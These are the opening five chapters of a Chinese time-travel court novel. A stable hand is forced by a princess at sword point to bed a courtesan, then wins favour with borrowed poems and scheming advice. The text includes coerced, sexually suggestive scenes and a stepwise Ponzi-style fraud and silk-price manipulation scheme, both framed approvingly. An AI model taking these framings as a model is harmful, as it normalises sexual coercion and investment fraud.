《逼我征服花魁娘子后,公主她夜夜登门》 第1章 驸马偷腥被抓,公主逼我征服花魁 “混账东西,还不速速宽衣!” “驸马爷为奴家赎身,奴家自是感激不尽,可奴家清白的身子岂能与一马夫行那云雨之事……” 二人的交谈惊醒了季褚,他发现自己正跪在地上,面前站着一男一女。 男人面色阴鸷,一席华袍锦衣。 女人眉眼如画,精致的容颜配上曼妙的身材,仿佛从画中走出的仙子,不过发髻略显凌乱,衣裙也被撕开了好几道口子,虽然尽力掩盖,可依旧露出了大片细腻的白皙。 她声如黄莺,红唇玉齿,眼眸中蒙着一层水汽,双手抱胸诚惶诚恐,羞愤的哽咽更显几分楚楚可怜。 季褚错愕的看着眼前的一切,整个人都懵了,一股陌生的记忆瞬间在他脑海中炸开。 他穿越了。 成了大梁长公主府一马夫。 眼前的锦衣男子是驸马宋辉,女人则是宋辉趁着长公主去帮太子操持大婚不在府中这段时间,花大价钱砸下来的明月楼花魁娘子怜香姑娘。 宋辉以为长公主没时间关注他,可以尽情浪,没想到还没浪起来,公主亲卫便将小院团团包围。 亲卫都来了,公主的凤辇还远吗? 所以宋辉慌了,就想趁着公主还没杀到,让负责赶车的原主与花魁娘子演一出激情戏诓骗公主。 但这事儿他小小一马夫把握不住啊,污了凤驾,长公主能饶他?即便侥幸活下来,别说他碰了驸马心心念念花大价钱买的女人,就为不暴露今日之事也会杀他灭口。 横竖都是死。 原主也是想明白了这一点,死活不干,然后宋辉一怒之下踹在了原主脑袋上,再然后自己就来了…… 这时,宋辉已经安抚好怜香,一转身,正好看到季褚盯着怜香发呆。 真恨不能挖了季褚的狗眼。 区区一马夫,如此佳人也是他能亵渎的? 但眼下他也顾不上那么多了。 谁让他尚的这位公主是个另类。 倍受盛赞的大梁第一美人,长公主李清瑶不喜男人,大婚三年不同房,就连见面的次数都屈指可数,若非如此,他又何必提心吊胆寻人快活。 可在皇家面前,哪怕公主有错在先,驸马出来偷腥就是有损皇家威严,一但抓在当场,她不会手软,皇帝的屠刀更不会留情。 宋辉迅速敛去眼底的戾气,走上前将季褚搀扶起来,声音放缓,“季褚,你……” 交代的话还没说完,外面的大门已经被人撞开。 宋辉面色一变,“见机行事,只要你能活下来,本驸马绝对亏待不了你。” 说完,他一刻不敢耽搁,匆匆跑向床榻,一弯腰滚了进去。 季褚整个人都麻了。 日鬼弄棒槌,糊弄鬼也没这样糊弄的。 梁皇年迈,诸子夺嫡,李清瑶不仅是大梁最尊贵的长公主,更是太子稳定权利最大的依仗,她能如此迅速锁定此处,足以说明人家手里掌握着很强大的情报系统。 宋辉此举,纯粹就是自作聪明,以为别人都是傻子。 好不容易穿越一场,难道开局就死? 季褚彻底慌了。 怜香同样如丧考妣,一个踉跄险些没站稳。她又不傻,一旦公主府的马夫碰了自己,驸马肯定弃她如敝履。 外面的脚步声越来越近,季褚心焦如焚,狗驸马把人家衣服扒了一半儿,这么短的时间内根本无法整理好,不然,他和花魁娘子喝喝小酒,聊聊小诗,说不定也能过关。 可现在…… 季褚一咬牙,立马走上前将还在发呆的花魁怜香拦腰抱起,匆匆跑向床榻。 “你,你想干什么……” 怜香在他怀里慌乱挣扎,她虽非良子,但也是清白之身,岂能任人这般糟蹋。 “不想死就配合一下!” 季褚差点没被这女人蠢死,把人丢床上,便不客气的扯开了怜香身上的襦裙。 白色的轻纱肚兜,两朵腊梅就好似盛开在雪地里的细支硕果,成熟待摘。 季褚情不自禁的咽了口唾沫,即便没欣赏过她的琴棋书画,单就这身娇体媚的好身材,就配的上花魁二字。 怜香哪里见过这般粗鲁的男人,又恼又羞,潋滟的脸上刷的一下染上了一层红晕,“我,我们只是演戏,切莫轻浮于我……唔!” 切莫轻浮你?你一个出来卖的,装什么纯。 这两口子压根不会给自己活路,反正都要死了,不如趁热…… 也就是这个时候,嘭的一声,屋门被人一脚踹开,震的门框簌簌落灰。 “何人?” 季褚扭头,脸上愤怒恰到好处的变成惊慌,赶忙从怜香身上下来。 李清瑶身着一袭绛紫色金凤纹华服,宽大的袖口和裙摆上绣满了繁复而精美的花纹,每一针每一线都彰显着皇家的尊贵与奢华。 发髻上斜插的金累红宝石步摇,随着她轻盈的步伐微微颤动。 白玉般的肌肤透着不食烟火的清冷,额间一抹朱砂如血一般滴落雪地。 大梁第一美人,翩若惊鸿,貌美如如仙! 但她手里那把散发着寒芒的大宝剑却让季褚遍体生寒。 如此倾城绝世的美女老婆,宋辉简直猪油蒙心…… 果然,男人不挂墙上,就不会老实。 可问题是现在老子就要挂墙上了啊! 顾不上欣赏她的美色,季褚扑通一下跪在了床边,“参,参见公主殿下!” 这该死的封建王朝那是说杀就杀啊,根本不带讲理的,季褚可不敢随意挑衅。 “驸马呢?”李清瑶朱唇轻启,语气寒彻骨髓。 季褚跪在地上,甚至都能听到床底下宋辉那咚咚打鼓的心跳。 至于怜香,早就吓的花容失色,裹着被子不停往墙角缩,退无可退的惶恐,更显几分楚楚可怜。 “这个时辰驸马不应该在府里吗?”季褚硬着头皮回话。 刷! 剑锋直抵季褚脖子。 “本宫再问一遍,驸马在哪儿?” 季褚喉咙滚动,骇然的杀意扑面而来,不过这会儿他的心思却也活络起来。 不想被挂墙上,那就只能富贵险中求! 他一马夫平时可没资格见公主,趁现在抱上公主修长的大白腿,说不定就能完成阶级跃迁。 他准备说自己和怜香姑娘在此吟诗作赋,真的不知驸马在哪儿,然后吟诗一首震慑全场。 啧……完美! 然而,还没等他开口,床上瑟缩的怜香也不知哪里来的底气,娇声喊道:“剑下留人,公主殿下,我与季郎情投意合,即便您尊贵无比,也不能私闯民宅,更不能动用私刑胡乱杀人。” 静,死一般的安静! 季褚感觉全身的血液都凝固了。 你个蠢娘们多什么嘴,你什么档次啊……人家可是天家贵女,万一激怒她咋整,感情剑没在你脖子上。 “倒是郎有情妾有意,你说的没错,本宫确实不好杀人。” 李清瑶扫了一眼床底,她知道那个令她颜面尽失的驸马就藏在下面,这三个人她一个都不会放过。 可现在,有气也只能忍。 而今群狼环伺,太子大婚在即却遭人暗算坠马,彻底坏了根本,不知多少人等着看笑话。 她是太子最后的依仗,一旦背上杀夫的名头必会有人拿此大做文章,届时再传出太子无能……必会动摇国本! 历朝历代废太子都没好下场。 所以不管以后如何,起码现在不能出事,只有先争到那个位置,否则一切努力都是镜中幻影。 她用剑尖挑起了季褚下巴,细细打量。 剑眉星目,棱角分明,和太子的身高体型差不多,这副好皮囊倒是可以利用一下,代替太子去洞房。 利用完了再杀不迟,不过,在这之前…… “你,把衣服全脱了。” 季褚本就被她看的浑身发毛,闻言,更是面色一变,他怀疑这娘们是想给他安个猥亵公主的名声,然后再杀之! “公主殿下,士可杀,不可……” “汝一贱民,也配称士,本宫若想杀你,你已经死了!” 李清瑶眸光一冷,剑尖向前一寸,直抵季褚咽喉。 季褚头皮一麻,不用猜,脖子肯定流血了。 但人家说的好像也没错。 可她图啥啊?难不成是想收我当面首,先验验货? 妈的,一口一个贱民,今天就给你两口子来一点来自贱民的震撼。 季褚深吸口气,慢慢起身,利索的解开了腰带。 李清瑶扫了一眼,波澜不惊的脸上顿时闪过一抹不易察觉的红晕,把头扭到一旁,“刚才你们在做何事,继续,没有本宫命令不许停!” 季褚整个人都懵了。 不是,公主殿下,咱玩的这么花吗? “速去,否则,死!” 第2章 公主别动,我是驸马 季褚愣了愣,突然意识到床底有人,大概也猜出了李清瑶的心思。 驸马爷心心念念的花魁,结果最后便宜了他这个马夫。 好家伙,这是要利用自己恶心驸马爷啊! 驸马爷真可怜…… 但,那又如何! 如今他可是奉旨办差。 当即上了床榻,凑到怜香耳边,小声道:“想活就配合好我。” 怜香娇躯轻颤,如水般的桃花眼里泪水已经开始打转。 看看立在床头手持宝剑的公主殿下,又看了看身材魁梧壮硕的季褚。 而到了此时驸马爷都不敢露面,说明他已经放弃了自己。 一时间内心百感交集,如藕般的双臂缠住了季褚脖颈,主动凑上娇唇在季褚嘴上点了一下,“还,还请季郎怜惜……” 本来季褚还担心,李清瑶会突然给他一剑,一直防着对方,如果对方真敢动手,那他就破罐子破摔,连她一块拽到床上,反正那些甲士全在外面,就是死,也拉李清瑶垫背。 没想到李清瑶竟然自顾自走去了酒桌,背对着床榻坐下,拿起酒壶倒了杯酒,拿在手里也不知在看什么。 这一下,季褚彻底放飞自我。 半个时辰转瞬即逝。 李清瑶一壶酒喝完,怜香那时而婉转时而嘹亮的声音,就好似一颗石子,在她那波澜不惊的心湖之中,悄然砸出一道涟漪,令她也不禁心生异样,扭头看向了床榻。 听话倒是听话,但未免也太强壮了些。花魁这般专供男子取乐的女子都不堪其负,太子妃初蒂花开受得了吗? 不过话又说回来,太子大婚,自有宫中内侍站在房外负责纪录起居,如此一来,岂不更能证明太子龙精虎猛,宜承大统? 她的目光从床榻挪到床底,嘴角勾起一丝嘲讽,“看来驸马确实不在这里,季褚,明日带你娘子来见本宫!” 说完,起身,提着大宝剑施施然离开。 很快,外面便再次传来甲胄摩擦声,以及密集脚步远去的声音。 “季郎,奴家不行了……真的不行了……” “再坚持一下,马上就好……” 正说着,宋辉一骨碌从床下滚了出来,愤怒的抓向季褚肩膀,“狗奴才,起来,赶紧从怜香身上起来……爷让你演戏,没让你弄假成真!” “马上,马上就好……”季褚紧裹被子,随即长长吐出一口浊气,整个人好似都飘起来了。 见状,宋辉一口老血差点没喷季褚脸上,四下逡巡,目光最后定格在了床榻旁的脚凳上,脑袋一热,拿起就要往季褚身上砸。 “驸马且慢!”季褚赶忙喊道:“您这一下是爽了,可别忘了公主殿下临走时说的话,如果我受伤了,明天公主问起,我当如何交代?” “我……”宋辉高高举着脚凳,砸也不是,不砸也不是。 “我劝您赶紧走,趁着公主还没回府,早她一步回去,随便找个理由也就搪塞过去了。” 宋辉心里咯噔一下,脸上的怒容瞬间僵住。 是啊,赶在公主之前回府,一切还有转圜,否则万事休矣。 看了一眼满脸绻恋,越发娇艳欲滴的怜香,宋辉咬牙放下了凳子,“你赶紧穿衣服,赶车送我回府。” “我不能走,我走了,那不成了此地无银三百两。”季褚继续说道:“时不待我,驸马爷,您的时间不多了。” “你……”宋辉气的浑身哆嗦,狠狠指了指季褚,“不许再碰怜香一下,否则爷一定把你剁碎了喂狗。” 说完,头也不回的向外跑去。 季褚心中冷笑,就这种废物,也难怪不受公主待见。 “季郎,现在怎么办啊,即便公主会放过我们,驸马肯定也咽不下这口气。”怜香哑着声音说道。 她是明月楼的花魁不假,可在京城,类似明月楼的地方至少有几百家,哪家没个花魁娘子坐镇! 如果不出这档子事还好,作为玩物,她还能让宋辉新鲜几天。 可现在,宋辉那种大人物自然不会再要她。 说不定过段时间,连她是谁都不记得,即便想起,也只有化不开的怨气,届时必有杀身之祸。 所以说,现在除了这个小马夫可以依靠,她已经无路可退。 “还能如何,人生得意须尽欢,莫使金樽空对月。” “人生得意须尽欢,莫使金樽空对月!”怜香眼前一亮,“此诗我为何从未听过,季郎还会作诗?” 季褚愣了愣,这才想起自己穿越的大梁王朝,与之前所在并非一个时空。 诗词沙漠,大有可为啊! “自然,我会的可多了,来,我教你……” 没了外人自然不需再盖被,被季褚粗鲁的翻了个身,怜香猝不及防下,发出一声惶恐的尖叫。 背后看去,丰腴诱人的身段,不堪一握的腰肢与那丰硕圆润形成了强烈视觉冲击。 “季郎……” 怜香回头,一脸娇羞。 这一幕,简直敲骨吸髓。 令他忍不住喊出了那句经典台词,“公主别动,我是驸马!” 很快,房间里便再次响起了床榻不堪负重的委屈。 殊不知,此时此刻,屋顶趴着一人。 听到动静再次响起,轻轻淬了口唾沫,红着脸悄无声息的离开。 …… 公主府。 李清瑶回府以后便进入了浴房。 张开双臂,任由婢女为自己宽衣解带。 直到只剩一套亵衣,这才说道:“都退下吧!” 众婢女全都一愣,但也没人敢多嘴,立马低头慢慢退了出去。 李清瑶长长松了口气,自己完成最后一步宽衣解带,将那染着晶莹的亵裤丢到一旁,才迈入氤氲着雾气,飘满玫瑰花瓣的浴汤之中。 每日香浴都能泡去一身疲惫,可今日不知为何,满脑子都是小院卧室里的场景。 她的脸,隐隐发烫,同时也越发的好奇。 真有那般让人愉悦? 否则,那女人为何…… 一想起那些,李清瑶只觉浑身上下都不自在,晶莹的柔夷慢慢探入水中。 就在这时,一双玉手悄无声息的落在了她宛如凝滞的雪肩上,“殿下近日越发的娇艳了呢,这肌肤嫩的,怕是蚂蚁上去都得跌跤,人家好生羡慕呢!” “你啊!”李清瑶不仅不生气,反而笑着摇了摇头。 都说天家无亲情,可姑姑义安公主之女,辽阳县主韩江雪却与她生死相依。 古灵精怪的韩江雪不仅是她表妹,更是她的左膀右臂,公主府暗卫统领。 李清瑶眼眸微垂,“臭丫头,少打趣我,说吧,事无巨细!” “我那大表姐夫果然藏在床底,你刚走,他便迫不及待的滚了出来,不过那个马夫倒是让人有些意外。” “哦?”李清瑶秀眉微挑。 韩江雪把当时二人的对话事无巨细的说了一遍。 “倒是个有心机的。” “不止如此,他还会作诗。” “作诗?” “不说也罢,狗嘴吐不出象牙,免得污了表姐耳朵……” 她不这样说还好,越是这样说,李清瑶反而越感兴趣,“念来听听。” “人生得意须尽欢,莫使金樽空对月!” 李清瑶也是喜爱诗词之人,闻言不禁眼前一亮,“没了?” “嗯,就这两句!” “此诗意境极佳,堪称传世绝句也不为过,何来淫邪之说?” “他……”韩江雪俏脸微红,凑她耳边,“他说,公,公主别动,我是驸马……” 第3章 拉下去,割了 李清瑶呼吸一滞,“此等绝句,岂能用在床笫之事,简直……简直……” “简直如何?” 区区一马夫,竟然敢亵渎公主,气的李清瑶脸颊涨红,用力一拍水花,“狗胆包天,当诛九族!” “我这便去取了二人狗命,然后带领暗卫去他家乡寻找亲族。” “且慢……” “殿下?” “罢了,蝼蚁尚可掘穴,留其苟延,自有妙用。”李清瑶闭上眼努力让自己的心平静下来。 “既然殿下已经有了决断,那就暂且留他狗命,日后再取。”韩江雪似懂非懂的点点头,这才俯身靠在浴池边沿继续帮忙捏肩。 那细细的磨牙声,以及水中剧烈颤抖的雪腻,充分说明了李清瑶的心,一时半会儿平静不下。 母后薨逝,后宫易主,也正因如此,太子之位才岌岌可危。 天家无情,庙堂之上尽是见风使舵,老奸巨猾之辈,以至于他们手下的人才,远不如其他几位皇弟。 她与太子如履薄冰,每一步都走的小心翼翼,生怕行差踏错万劫不复。 那马夫虽然亵渎了自己,可若真有惊世之才,利用完了,杀还是不杀? 越想,李清瑶就越难下决断。 “表姐,你怎么了?” “无事,你先下去吧,好好查一查那马夫的底细。” “喏!” …… 翌日! “季郎,咱们真的不逃吗?” 怜香挎着一个小包袱,经过一夜的洗礼,已经挽起了妇人发髻,一身墨绿色的丝织衫裙,清纯中多了几分妩媚。 如今她已经成了季褚的人,自然不能再住这个小院。 公主府就是龙潭虎穴,就如昨晚一样,进去容易出来难。 她属实想不明白,季郎为何不带着她远走高飞,赶紧逃离此地。 可季褚这一晚并非只贪恋美色,同样想了很多。 虽然看似危机重重,但也并非不能火中取栗。 别管哪个时代,想成功,就少不了一个好平台。 何况他已经在公主面前挂了号,先不说带着一个弱女子能不能躲过追杀,即便逃出去又如何,他还敢露头吗? 不露头,还怎么过上那种娇妻美妾优哉游哉的小日子? 眼下只能硬着头皮赌一次。 公主想帮太子上位,肯定需要人才。 身为穿越者,还有比他更厉害的人才吗? 再说,长公主不过二八芳龄,凭借他这三寸不烂之舌,要是连一个年纪轻轻的古人小丫头都拿捏不住,那还不如撞死在怜香的嫩豆腐上。 所以,只要他能展现出足够的价值,再哄一哄,他觉得公主应该不会那么掉价,非得杀了他这个小人物不可。 不过,在这之前,他还是忍不住叮嘱道:“今日见了公主切勿再像昨日那般多言,公主什么身份,咱们什么身份,一且交由我来处理,你可明白?” “妾晓得……”怜香弱弱的低下了头。 季褚满意的点点头,扶着对方上了马车,然后自己也跳上了车,一拉缰绳,“架!” 青石板上马蹄声碎,出了小巷便是热闹的街道,道路两边商幡招展如云。 挑担老翁的吆喝脆如裂帛,铜勺舀起琥珀色的糖浆,倏忽间便勾勒出一只展翅的凤凰,引得孩童簇拥争抢。 人群如织,肩摩毂击。 千年帝都的烟火气从瓦檐间流淌而下。 忽有脂粉气裹着暖风扑面而来,一抬头,原是已经到了明月楼。 季褚一边驾车而行,一边欣赏着这座古代王城,前方忽的传来一阵骚动,不少行人纷纷躲避,他也赶紧把车停到路边。 一队身着明晃甲胄的军士,像是赶着牲口一样驱赶着一群难民,匆匆而过,随着人群远去,街面上的乱象很快恢复如初。 “纸上得来终觉浅,绝知此事要躬行啊!”季褚叹了口气,一抻马缰,马车再次缓缓汇入车流。 他纯粹就是触景生情,觉得居古代,大不易,庆幸自己没逃,不然,十有八九也会成为这群被人随意驱赶的难民里的一份子吧。 可车厢里的怜香见他出口成章,一双水眸,熠熠生辉,突然也没那么担心了。 公主府。 早有两名贴身丫鬟等候多时。 季褚刚把马拴好,丫鬟便将他和怜香分开。 “竹儿姑娘,公主殿下不是说让我二人一同觐见吗?”季褚跟在后面问道。 竹儿姑娘是公主身边的一等丫鬟,分别是梅,兰,竹,菊四人。 上面还有妙锦,妙云两名带品级的女官。 除此之外,公主身边还有几个嬷嬷都是他们这些下人惹不起的。 尤其是刁嬷嬷,最喜拿针教训犯错的奴婢。 怜香那么水润一人,自己给她扎针教训教训也就算了,万一被带去刁嬷嬷那……所以他还真有些担心。 “放肆,殿下的心思岂是你一个下人揣摩的!”竹儿回眸,冷冷呵斥一句,眼底满是高人一等的傲娇。 “是!” “知道就好!”竹儿轻哼一声,然后继续带路。 “一个丫鬟,看给你能的!”季褚抬起手,隔空对着竹儿那摇曳生姿的浑圆曲线比划了两下,心里暗暗发誓,迟早由虚变实,拍的她跪地求饶。 公主府正厅。 李清瑶手持宝剑,背对着门口。 一袭殷红如血的丝袍,丝滑面料紧贴覆背曲线,腰间收束,将那丰腴诱人的腰臀曲线勾勒的惊心动魄。 竹儿盈盈一拜,“殿下,人已带到。” 贴身女官妙锦见季褚还站着,娇斥一声,“大胆,殿下在此,还不速速跪下参拜!” 那不容置疑的威严,仿佛一道无形的敕令,惊的季褚回过神来。 而且站立两侧负责公主安全的女侍,已经把手握在了腰间的剑柄之上,大有一言不合就砍人的架势。 大丈夫生居天地间……季褚选择从心。 纳头便拜,“季褚,叩见公主殿下。” 李清瑶缓缓转身,居高临下的望着季褚,声音中不含半分感情,“抬起头来。” 季褚听话抬头,锋利的大保健再次搭在了脖子上。 “本宫听闻,你有诗才,限你三吸之间以本宫为题赋诗一首,否则,定让你人头落地。”李清瑶朱唇轻起,不容置疑。 耳听为虚,眼见为实。 昨日韩江雪已将季褚身世背景调查清楚。 季褚,字伯赢,原是江北道商贾虞家的私塾先生,虞家老爷念其才华,有意招其入赘,可三年前梁帝病重选秀冲喜,于各地挑选秀女入宫,虞家女也在其中。 季褚陪同虞家女入京,不知是不是巧合,虞家女入宫侍寝,梁帝身体竟然痊愈,自此龙颜大悦封其美人。 季褚没接到落选的妻子,反倒是等到了虞家女封为美人的消息,于是变卖家底,买通公主府马房管事某了个养马驾车的差事。 一介文人却心甘情愿去做那等下人才做的腌臜之事,自然是忘不了虞家女,想寻一个驾凤辇的机会混入宫中,以此可见,倒是个有心机且也重情之人。 而且李清瑶让人翻阅典籍,也并未查到那两句诗的出处。 心下已然生出了爱才之心,决定考一考他,再做决断。 季褚也是心头狂喜,正愁怎么才能抱上公主的大白腿,这不,展现才华的机会来了。 他收敛心神,望着那绝美容颜,缓缓开口,“云想衣裳花想容,春风拂槛露华浓,若非群玉山头见,会向瑶台月下逢。” 每一句都像是丢进平静湖面的石子,瞬间在李清瑶心里掀起了滔天巨浪。 正所谓女为悦己者容,尤其那双灼灼的眼神,令她双颊不自觉的泛起一抹红晕。 她红温了。 她果然红温了。 季褚心里那叫一个高兴,还得是我白哥,不愧诗仙之名,当年的杨贵妃听完都爱不释手,今日小小一公主,轻松拿捏。 可他还没高兴几秒,李清瑶突然收剑转身,施施然走向椅子,冷冰冰道:“把这狗才送去净身房,尽去其势。记得吩咐那边用些上等药材,本宫留他狗命还有大用。” 话音落,还不等季褚再开口,护卫一旁的韩江雪率先出列,讥诮道:“还不速速谢恩!” 第4章 我从未见过如此熊大无脑之人 季褚裆下一凉,怔怔看着那道火红的背影。 汝闻闻,人言否? 不应该是:先生大才,快快赐座吗? 再不济也是:来人,看赏…… 那可是我白哥的诗啊,千古无出其右的存在。 天家贵女不懂欣赏也就罢了,年纪轻轻便心狠手辣,也难怪男人背着你偷腥…… 见他跟傻了一样,韩江雪英挺的眉头微微一簇,不耐烦的抬腿踢了季褚一下,“速速谢恩。” 这马夫倒是好运道,不杀也就罢了,竟令公主如此赏识。 也不怪她这样想,毕竟公主的意思很明确,只要割了就能得到重用,而且季褚委身公主府的目的就是混入宫廷去见虞美人。成为公主身边的内侍,以后自然方便出入宫廷。 一刀下去就能完成心愿,这对季褚来说不是赏赐是什么。 可你感动归感动,也不能在殿下面前失礼啊! 果然是狗胆包天,看来以后自己还需狠狠调教一番。 季褚被她踢的回过神来,割肯定是不能割的。 堂堂八尺男儿,好不容易穿越,却被稀里糊涂割成太监,爷们儿的脸不要了? 不让他三妻四妾,那就是要他命! 当即眼珠子一转,看向了韩江雪腰间佩剑,趁其不备,呛啷一声,剑已入手。 “护驾!”韩江雪惊呼一声,以她的武功根本不可能被人抢走佩剑,显然也是没想到季褚如此大胆。 然而,就当她准备反击,季褚却把剑架在了自己脖子上,宛如狂生一般哈哈大笑起来,“不用护了。 虚负凌云万丈才,一生襟抱未曾开。鸟啼花落人何在,竹死桐枯凤不来。 良马足因无主踠,旧交心为绝弦哀。九泉莫叹三光隔,又送文星入夜台!” 季褚上一世可是网红圈里的全能选手,那一字一顿,尤其是悲呛苍凉的笑声,完全把《哭李商隐》那份怀才不遇展现淋漓。 星爷见了都得给他竖个大拇哥,一个字儿绝! 只不过此情此景,与一众持剑相对的女侍,形成了一副诡异至极的画面。 不过季褚并不担心,他赌的就是李清瑶不舍的杀自己,要杀,昨日恶心完驸马就杀了。 今日连抄两首惊世之作,但凡她有点脑子,也不会允许这样一位怀才不遇的大才自戕于此。 所以,这波优势在我! 李清瑶显然也是没想到季褚如此刚烈,也确实因为诗中的意境,以及季褚的表演心生愧疚。 如果连这点容人之量都没有,她还如何辅佐太子夺下那个位置? 只是不等她开口,韩江雪已然面红耳赤,“一生襟抱未曾开,鸟啼花落…… 竹死……洞枯,凤不来…… 你你你,你这y贼,公主如此器重,你竟还有心思在诗里夹带私货,提此隂诗,凤前失仪,其罪当诛。” 李清瑶绝美的娇颜瞬间染上了一抹淡淡的红晕,还,还能这样理解吗? 至于季褚,整个人都亚麻呆住了。 惊愕的望着上蹿下跳的韩江雪,没文化……这么可怕的吗? “看什么看,难道此言有假?” “你说我看什么看,我从未见过如此熊大无脑之人。” “你……” 李清瑶深吸了口气,打断了斗嘴的二人,“够了!” 季褚暗暗松了口气,还好,还好有识货的。 优势在我,不慌! 李清瑶红唇轻起,淡淡说道:“既然这般刚烈,那你便自戕于此罢!” 季褚:?? 李清瑶那双勾魂摄魄的眸子,带着一丝若有若无的挑衅和玩味,仿佛在说“割啊”。 她算是看出来了,季褚确有大才,可此人看似胆大包天,实则贪生怕死。 这种人很难完全掌控,若想为她所用,就必须好好磨磨。 可她这番话直接就给季褚架住了,后脊梁嗖嗖冒冷风,简直欲哭无泪。 长得这么美,心咋就那么残暴呢,自己割自己脖子,那得多疼啊,您也不怕溅出来的血污了您那双好看的眸子。 季褚被那一道道戏谑,讥俏的眼神也看出了火气。 这具身体虽然貌比潘安,可一介书生不通武艺啊,杀肯定是杀不出去。 说不定这一切都是梦,脖子一抹,就能回到那个法制健全,人人平等的社会…… 安慰了自己一下,季褚把心一横,就要抹了自己。 下一秒,手腕一痛,长剑脱手,韩江雪夺回宝剑宛如一道风回到了李清瑶身测,不明所以的看着对方,想不通她为何突然改变主意。 李清瑶转身回到椅子上坐下,“本宫并非弑杀之人,既然你认为自己是良驹,那本宫就当回伯乐,给你一个机会! 答的好,活! 若让本宫不满意,死!” 这一刻,李清瑶气场全开,周身散发出来的高贵气息,令人不敢直视。 季褚有心赌气,但咱大丈夫能屈能伸……只要活着,早晚有报仇的机会。 况且如果不能抱上公主的大白腿,驸马那边也不会放过他。 “还请公主明言。”季褚立马端正态度。 “如若你是布庄老板,以前生意红火日进斗金,可有同行在附近新开一家,导致你生意一落千丈,入不敷出,你当如何?” 季褚愣了愣。 表面上看,降耗增产,提高竞争力,顺便给她一套现代化的服务理念就行。 但人家可是公主,手底下的产业肯定走在了当代最前沿。 所以听话听音,看似好答,实则另有玄机,这样答了,公主对他那点期待也会荡然无存。 皇帝老迈,八龙夺嫡,太子李康虽有名,却无实。 排行老六,年龄不占优。帝后薨逝,后宫也没强有力的支持。可以说太子现在就是个活靶子,另外七兄弟巴不得他赶紧让位置。 所以,她要的并非一个解决布庄问题的掌柜,而是一个可以帮她辅佐太子登基的谋士。 短暂的思索过后,季褚拱手说道:“回殿下,如果把这庄子交给我,我会先打听清楚对手布庄掌柜经常去的地方。 然后买通一些北地来的小马商,制造机会,让他们驮着布匹,恰到时机的出现在布庄掌柜面前,掌柜见此必会上前攀谈。” “万一人家当做没看见呢?”韩江雪不以为然道。 季褚呵呵一笑,“不会,因为北地到京城足有上千里,消息传达有滞后性,之所以选北地马商而不是南方,也是这个道理。” “何理?” “原材料在南方!” 季褚看了一眼韩江雪的大熊,继续说道:“等掌柜问起,我会让马商告诉对方,今年北地缺衣,布匹价格足足翻了数倍。 一人说,掌柜自然不信,可我让他见到的马商都这样说,而且这时我会把生丝收购价格提高三成,就由不得他不信。 即便他去找大马商打听,也只会认为大马商想独自赚这一笔,哪怕对方掌柜是个谨慎的人,也只会一边派人去北地打探消息,一边跟进提高收购价格。 他肯定会想,一旦消息有误,就把货卖给我,反正也不会亏。 自此,这局空中做饵已成,接下来只等收割。 因为主动权尽在我手。 他涨我也涨,只需几个回合便能将价格拉到一个骇人的地步,这时我再暗中将高价收到的生丝抛售给对方,不仅不亏还有的赚,等他派出去打探的人回来,黄花菜都凉了。 到那时,对方手里大量积压的生丝就是一把架脖子上的刀,我想让他死,他就得死,我想让他活,他就能活!” 第5章 这公主……克夫啊 这话一出。 整个前厅静的落针可闻。 尤其韩江雪和几个侍女都跟见了鬼一样,纷纷瞪圆了眼睛。 阴! 这也太阴险了。 能想出这样阴险恶毒的计策,想必这季褚也不是什么好人。 想想都为那个落他手里的掌柜可悲。 咕咚! 韩江雪紧握手中剑柄,不自觉的咽了口唾沫。 “此等阴险狡诈之辈,不会还记仇吧?如若公主真将其收归麾下,赋予权柄,以后会不会暗中算计我?” 她宁愿与敌人正面厮杀,也不愿意被这样一条毒蛇盯上。 目光不由挪到了季褚脖子,手中剑更是早已饥渴难耐。 只等公主一声令下,立刻斩了这个祸端。 李清瑶面上波澜不惊,可心底已然掀起了惊涛骇浪。 不但自己大赚一笔,还拿捏住了别人软肋! 翻手为云覆手为雨,玩弄对手于股掌之间,古往今来的大谋臣也不如是。 “倘若本宫放你离开,但需要你在一月之内凑齐十万两白银买命,你当如此?” 季褚面皮一抽,看得出,这高冷公主是真缺钱啊! 想了想,自信道:“区区十万而已又有何妨,要搞就搞一波大的,只要公主配合,百万两唾手可得。” 韩江雪撇了撇嘴,“你见过十万两纹银吗?也不怕风大闪了舌头,别是想借用殿下的威名,威逼利诱吧?” 季褚不以为然的拱了拱手,“回殿下,确实利诱但绝非威逼,而是让人心甘情愿掏钱。 若公主配合自然简单,如果是我自己操作,首先我会寻一落魄商人,然后再寻老鸨,以十日之后双倍报酬的代价包下城内最大的青楼。 空口白牙,起初老鸨自然不信落魄商人有这份财力,但只要我们能把京中各大纨绔,富商邀请来,就由不得她不信。 白吃白喝白嫖,自然不担心没人来,至此老鸨那一关算是过了。她不仅不会担心你付不起钱,反而会为了十日后的双倍报酬对你百依百顺。 而宴请这些人时我会留意他们每一个人,找出他们各自所处的圈子,同时我也会让落魄商人装出不把钱当回事,有意无意透露出自己找了一个大靠山,拿到了一个挣大钱的机会,这才翻身。 至此,饵算是下好了,有道是财帛动人,届时肯定有人问询,到底是什么买卖如此挣钱。 落魄商人会勉为其难的告诉他,具体做什么别问,但肯定比放贷还挣钱。不信你可以试着在我这里投资三千两,两日之后就能得到三千三百两。 开始肯定不会有太多人信,所以必须控制好支出。 两日后,连本带利拿到钱的人肯定会动心继续投。 不过这个时候就不是三千两起投了,而是一万两。 两次下来,那些原本不打算投资的人肯定也会动摇纷纷加入。 至此,只需十人,十万两便能轻松落袋。 如果公主只需十万,那就让落魄商人暴毙死无对证,如果还需更多,那就……” “够了!”李清瑶娇呵一声,打断了侃侃而谈的季褚。 别说一众侍女,就连她都听的毛骨悚然,汗毛倒竖。 再让季褚说下去,万一传到外面,还指不定要坑死多少人。 “今日之事一个字都不许外传,五十步内不得有人,除了季褚,其他人退下。” “喏!” 众侍女齐声应喏,纷纷向外走去,只是路过跪在门口的季褚时,都不自觉的和他拉开距离加快脚步,好似多停留一会儿就会沾上脏东西一样。 季褚要的就是这效果。 一国长公主,见识自然绝非寻常女子可比。 想在她面前过关,就得拿出足以令她灵魂战栗的干货。 随着大门紧闭,厅内顿时静的落针可闻。 李清瑶目光灼灼的盯着季褚,手有意无意的摩挲着剑柄。 题是她出的,其目的就是考验季褚是否有真才实学。 然,有其才,可,明显超标了啊! 父皇年迈,诸子联合,都想将她姐弟除之而后快。 太子坠马就说明局势已经朝着失控的方向发展,非常人难以翻盘。 不管是布局,还是对人心的把控,季褚的表现都令她十分满意。 可这样的人,自己真能把控住吗? 有些猛兽,关在笼子里时,连影子都透着危险,一旦放出…… 李清瑶的眼神愈发冰冷,手提宝剑围着季褚转了一圈,“你这般诡计多端,不妨猜猜,本宫为何单独把你留下。” 